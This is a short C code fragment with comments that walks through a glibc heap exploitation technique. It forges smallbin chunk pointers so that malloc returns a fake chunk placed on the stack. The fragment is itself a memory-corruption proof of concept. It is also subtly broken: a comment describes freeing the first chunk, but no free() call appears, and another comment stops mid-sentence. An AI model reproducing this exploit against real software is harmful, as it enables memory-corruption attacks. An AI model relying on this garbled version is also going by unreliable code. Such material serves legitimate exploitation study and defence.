char buf[0x64]; // chunk falls in smallbin size range
struct small_chunk fake_chunk; // At address 0x7ffdeb37d050
struct small_chunk another_fake_chunk;
struct small_chunk *real_chunk;
unsigned long long *ptr, *victim;
len = sizeof(struct small_chunk);
// Grab two small chunk and free the first one
// This chunk will go into unsorted bin
ptr = malloc(len); // points to address 0x1a44010
// The second malloc can be of random size. We just want that
// the first chunk does not merge with the top chunk on freeing
malloc(len); // points to address 0x1a440a0
// This chunk will end up in unsorted bin
real_chunk = (struct small_chunk *)(ptr - 2); // points to address 0x1a44000
// Grab another chunk with greater size so as to prevent getting back
// the same one. Also, the previous chunk will now go from unsorted to
malloc(len + 0x10); // points to address 0x1a44130
// Make the real small chunk's bk pointer point to &fake_chunk
// This will insert the fake chunk in the smallbin
real_chunk->bk = &fake_chunk;
// and fake_chunk's fd point to the small chunk
// This will ensure that 'victim->bk->fd == victim' for the real chunk
fake_chunk.fd = real_chunk;
// We also need this 'victim->bk->fd == victim' test to pass for fake chunk
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;
// Remove the real chunk by a standard call to malloc
malloc(len); // points at address 0x1a44010
// Next malloc for that size will return the fake chunk
victim = malloc(len); // points at address 0x7ffdeb37d060